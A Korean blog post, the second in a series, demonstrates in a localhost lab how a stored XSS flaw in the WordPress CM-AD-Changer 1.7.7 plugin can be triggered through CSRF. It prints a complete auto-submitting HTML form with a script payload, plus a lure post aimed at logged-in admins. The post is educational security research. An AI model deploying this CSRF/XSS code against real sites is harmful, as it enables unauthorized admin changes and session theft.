XSS(Cross Site Scripting) 취약점 - WordPress CM-AD-Changer 플러그인 (2)

by Dreamer

   개요
지난 XSS(Cross Site Scripting) 취약점 - CM-AD-Changer 플러그인 (1) 포스팅에서 해당 플러그인의 소개와 취약점을 살펴보았다. 이번 포스팅에서는 CSRF를 활용하여 현실적인 공격 방법을 살펴보고 직접 실습을 진행한다.


   시나리오 구성
XSS 취약점의 실제 가능한 시나리오를 구성한다. CM-AD-Changer 플러그인 취약점은 관리자 페이지에서 발생하기 때문에 공격자가 워드프레스 관리자 계정을 알기 전에는 공격할 수 없다. 그래서 XSS 취약점이 존재하는 게시판을 이용하여 CSRF 공격을 진행한다.  해당 플러그인 정보가 자동으로 수정되는 악성 스크립트를 삽입하고, 워드프레스 관리자가 해당 게시글을 읽으면 공격이 진행된다.

우선, 시나리오에 맞는 실습 환경은 [그림 2-1]과 같다. 워드프레스 서버에 직접 공격할 수 없기 때문에 외부 사이트를 이용한다. 외부 사이트는 XSS 취약점이 존재하는 커뮤니티 사이트이고 공격자와 워드프레스 서버는 이전 포스팅과 동일하게 구성한다. 
그림 2-1 환경 구성

조건 1> 공격자(해커)는 CM-AD-Changer 플러그인의 취약점을 알고 있으며 해당 플러그인을 사용하는 워드프레스 서버를 대상으로 공격을 시도한다.

조건 2> 공격자는 공격 시 CM-AD-Changer 플러그인 정보가 자동으로 수정되는 CSRF 공격 코드를 사용한다.

단계 1> 공격자는 XSS 취약점이 존재하는 커뮤니티 사이트의 게시판에 “[공지] 워드프레스 취약점 리스트 공개!” 라는 제목으로 준비한 CSRF 공격 코드를 작성한 게시글을 남긴다.

단계 2> CM-AD-Changer 1.7.7 플러그인을 사용하는 워드프레스 관리자가 해당 커뮤니티에 접속한다.

단계 3> 읽는 순간에 해당 플러그인 정보는 수정되며, XSS 취약점이 발생한다. 

단계3의 전제 조건으로 관리자가 악성 게시글을 읽기 전에 같은 브라우저에서 먼저 워드프레스 관리자 페이지에 로그인을 하여 세션이 맺어져 있어야 한다. 공격자가 준비한 CSRF 코드는 관리자 페이지 일부를 수정하는 것이므로 해당 브라우저가 관리자 아이디와 세션이 맺어져 있지 않다면, 로그인 페이지가 출력되기 때문에 공격을 성공할 수 없다.


   시나리오 실습
공격자(해커)는 CM-AD-Changer 플러그인을 직접 사용하여 광고 배너를 수정할 때 어떤 URL로 전송되고 데이터 전송 시 사용하는 파라미터 명이 무엇인 지 확인한다. [그림 3-1]는 배너 수정 시 프록시 도구로 트랩한 요청 메시지 헤더와 바디 부분이다. 해당 HTTP 메시지를 확인하면 사용한 메소드(POST)와 전송되는 URL 및 파라미터를 확인 할 수 있다. 이렇게 확인한 정보는 CSRF 코드를 만들 때 사용되며 필자가 사용한 프록시 도구는 OWASP-ZAP이다.
그림 3-1 요청 메시지 트랩

파라미터 중 banner_filename[]는 이미지 이름을 값으로 가진다. CSRF 공격 시 banner_filename[]에 적용된 값이 달라지면 공격되지 않기 때문에 이미지 이름 값을 정확히 확인한다. 이미지를 우 클릭 후 속성을 선택하면, 해당 이미지의 이름을 알 수 있다.
그림 3-2 광고 배너 이름 확인

[그림 3-1]으로 얻은 정보를 통하여 [표 3-1]와 같이 자동으로 수정할 수 있는 CSRF 공격 코드를 생성한다. Form 태그를 통해서 POST 방식으로 전송할 URL을 지정하고, 히든 타입을 통해 각 파라미터 명과 값을 지정한다. 그리고 banner_title[] 파라미터에 취약점이 존재하므로, 해당 위치에 공격 코드를 삽입한다. Form 형식을 완성한 후에는 자동으로 제출하는 스크립트를 작성한다.

공격 코드 : </script><script>alert(‘1’);</script>
<form id="one" method="POST" action="http://localhost/wordpress/wp-admin/admin.php?page=cmac_campaigns&action=edit&campaign_id=1" >
//워드프레스 주소는 localhost가 아닌 경우 실제 동작 중인 IP를 입력한다.
<input type="hidden" name="campaign_id" value="1">
<input type="hidden" name="title" value="1">
<input type="hidden" name="comment" value="1">
<input type="hidden" name="link" value="/">
<input type="hidden" name="status" value="on">
<input type="hidden" name="banner_display_method" value="selected">
<input type="hidden" name="banner_filename[]" value="9678924.PNG">
//banner_filename[] 값은 실제 게시된 광고 이미지의 값과 동일해야 한다.
<input type="hidden" name="banner_title[]" value="공격 코드 삽입">
<input type="hidden" name="banner_title_tag[]" value="">
<input type="hidden" name="banner_alt_tag[]" value="">
<input type="hidden" name="banner_link[]" value="">
<input type="hidden" name="banner_weight[]" value="0">
<input type="hidden" name="selected_banner" value="9678924.PNG">
</form>
//Form 태그 제출 스크립트
<script>document.getElementById("one").submit();</script>
표 3-1 CM-AD-Changer 자동 수정 CSRF 코드

[표 3-1]을 이용하여, [그림 3-3]과 같이 워드프레스 관리자들이 관심 가질 수 있도록 유도 게시글을 작성한다.
그림 3-3 악성 게시글 작성

게시글이 작성된 후 해당 커뮤티니를 방문한 워드프레스 관리자들이 게시글에 접근한다.
그림 3-4 악성 게시글 목록

그 중에 CM-AD-Changer 플러그인을 사용하는 관리자가 해당 게시글을 클릭하고 읽음과 동시에 관리자 페이지의 플러그인 정보가 수정된다. 우리는 공격 코드로 alert 함수를 사용했으므로 ‘YouAreHacked’이라는 경고창이 출력된다. alert 함수 이외에 다른 함수를 이용하면 도메인 명, 세션 값 추출, 리다이렉트 등 다양한 공격이 가능하다.
그림 3-5 CSRF를 통한 공격 성공

경고창의 확인 버튼을 누르면 [그림 3-6]과 같이 광고 배너의 Name 값이 관리자가 아닌 공격자에 의해 수정된 것을 볼 수 있다.
그림 3-6 광고 배너 정보 확인


   결론
해당 시나리오는 CSRF를 활용하여 공격자의 존재를 뒤로 숨기고 관리자가 직접 정보를 수정할 수 있도록 구성했다. 하지만 공격하기 위해서 XSS 취약점이 존재하는 커뮤니티 사이트가 필요하고, 해당 사이트를 이용하는 사용자가 많아야 한다. 그 중에도 CM-AD-Changer 플러그인을 사용하는 관리자가 접근해야 공격이 성공한다. 이처럼 다양한 조건 때문에 실질적으로 공격이 성공할 확률은 그다지 높지 않지만 특정 대상을 타겟으로한 공격은 가능하다. 다음 포스팅에서는 해당 플러그인의 대응 방안에 대해서 살펴보자.